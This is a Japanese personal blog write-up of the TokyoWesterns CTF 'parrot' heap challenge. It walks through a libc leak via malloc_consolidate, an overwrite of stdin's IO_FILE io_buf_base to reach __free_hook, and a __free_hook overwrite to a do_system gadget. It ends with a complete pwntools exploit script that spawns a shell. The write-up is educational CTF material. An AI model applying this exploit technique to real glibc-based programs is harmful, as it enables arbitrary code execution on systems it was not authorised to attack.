ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

TWCTF 3rd parrot

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170918103655p:plain
gotの書き換えは不可ということを考えてやっていく。色々調べた結果以下のようなことが分かった。

  • sizeを入力した後にmallocされたBufferに対してを入力させ、Bufferの中身を出力された後にFreeされる。

  • ユーザから入力を受け取った時のsizeはread関数のsizeでも使われる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入する。

今回のバグはsizeを任意のアドレスなどの非常に大きなsizeを確保するときに失敗する。今回の問題ではmallocが失敗した時の例外処理がされていないため、ポインタとしては失敗したときに0が入っている。つまり、sizeの部分に任意のアドレスを置けばNULLが挿入されて書き換えることができる。
以上の条件から今回はstdinのIO_FILE構造体のio_buf_baseを書き換える方針でやっていく。
まずは、libcの特定である。今回の特定方法は任意でmalloc, freeすることはできないため、malloc_consolidateを使ったlibcの特定をやっていく。今回で必要となる条件はfastbinsで二つ確保(それぞれ違うsize)した後に、fastbinsより大きいsizeを確保することでmain_arenaの特定をすることができる。具体的にどういった条件でmalloc_condolidateが発動するのか見てみよう。今回はFreeの方のmalloc_condolidateを利用していく。
f:id:shimasyaro:20170918110145p:plain

  • 現在のsize(unlink処理, topとの併合の処理のすべてが終わった時のsize)が0x10000以上であれば次の条件に行く。

  • fastbins chunkを持っている(1個以上)

以上の条件でmalloc_consolidateの処理に入る。また、malloc_condolidateは主にfastbinsのunlink処理を行っている。fastbinsのchunkのsizeはprev in useが立っている状態でスタートする。簡単にまとめると以下のようになっている。

  1. fastbins小さい順から処理を行っていく。

  2. prev in useが0であれば上方とunlinkする。

  3. next chunkがtopでなければ以下の処理をする。topであればtopと併合

 3-1. next chunkの次のprev in useを調べて0だったらnext chunkをunlinkする。0でなければnext chunkのprev in useを0にする。
 3-2. unsorted_bin[0] = p, unsorted_bin[0]->bk = p
 3-3. sizeがsmall_sizeの範囲でなければ条件に入る(今回は関係ない)
 3-4. sizeにprev in useを立てて、p->fd = unsorted_bin[-2], p->bk = unsorted_bin[0]を代入して、次のchunkにprev in useを立てる。

  1. pにnext chunkを代入した後に、次のchunkがあるか確かめる。なければループを抜ける。

  2. 次の大きさのfastbinに行き、それが最大のfastbins sizeになるまで続ける。

この条件から、以下のような戦略でlibcを特定する。

  • mallocを0x20、0x30、0x80の順番で確保する。

  • mallocを0x80で行い、8byte分だけ埋めるとmain_arenaのアドレスがleakできる。

8byte埋めるmallocされる前の様子は以下のようになっている
f:id:shimasyaro:20170919091556p:plain
次はio_buf_baseを書き換える方法であるが、これは、FILEのbufferのスタート位置を決めている部分である。つまり、ここの部分を書き換えることによってbufferとして使われるアドレスを変更することができる。つまり、今回の攻撃方針は以下のようになる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入されるのを利用してsizeの部分にio_buf_baseのアドレスをセットする。

  • 次のsizeの部分でio_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットする。

  • 次のsizeでfree_hookをdo_systemに書き換えてshell起動

以下は、io_buf_baseがNULLに書き換わる直前である
f:id:shimasyaro:20170919094514p:plain
以下はio_buf_baseが書き換わった後のIO_FILE構造体の様子である。
f:id:shimasyaro:20170919094631p:plain
以下は、io_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットした様子である。
f:id:shimasyaro:20170919095054p:plain
この後に、再びsizeの部分にの入力をしないといけないが、bufferの入力を大量に行わないといけない。これは、sizeの部分でfree_hookの書き換えるときのバイト数に関係していると思うが、正確なバイト数ではない、また、関係性が分かっていないため、もしかしたら、環境によって違ってくるのかもしれない。(誰か教えてください)
以下はfree_hookがdo_systemに書き換わった様子である。
f:id:shimasyaro:20170919100559p:plain
do_systemはglibc/sysdeps/posix/system.cで定義されている今回はその中でも以下の部分を用いている。
f:id:shimasyaro:20170919100730p:plain
すると_int_freeが実行される前に以下のようにdo_systemが行われてshellが起動する。
f:id:shimasyaro:20170919100836p:plain
参考にさせていただいたCTF/Parrot.md at master · scwuaptx/CTF · GitHubのコードを少し改良したものが以下のコードである。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./parrot') 

if len(sys.argv) > 1:
        HOST = 'localhost'
        PORT = 4444
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        r = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        libc = ELF('./libc.so.6')
        r = process(["./parrot"], env={"LD_PRELOAD":"./libc.so.6"}) 
        log.info("PID : " + str(proc.pidof(r)[0]))
        print "[+] connect to local\n"

def alloc(size,data):
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(data)

alloc(0x20,"D")
alloc(0x30,"D")
alloc(0x80,"g")
alloc(0x80,"d"*7)
r.recvuntil("d\n")
libc = u64(r.recv(8)) - 0x3c4b78
print  "libc:",hex(libc)
io_buf_base = libc + 0x3c4918
alloc(io_buf_base+1,"") 
r.recvuntil(":")
free_hook = libc + 0x3c67a8
r.sendline("1".ljust(0x18,"\x00") + p64(free_hook) + p64(free_hook+0x8) + p64(0))
for i in range(0x2f): # local 0x2d remote 0x2f
    r.recvuntil('er:')
    r.sendline('')
r.recvuntil("Size:")
magic = libc + 0x4526a    # do_system
print  "magic:",hex(magic)
r.sendline(p64(magic))
r.sendline('id\n')
r.interactive()

また、別解としてTokyoWesterns 2017 - Parrotがあるが、かなり複雑である。作者曰く似ているとしてあげているHouse of Orangeを理解してからこの別解も理解できたらいいなぁというお気持ち。

[総評]IO_FILEで色々なことができるのは面白いと思った。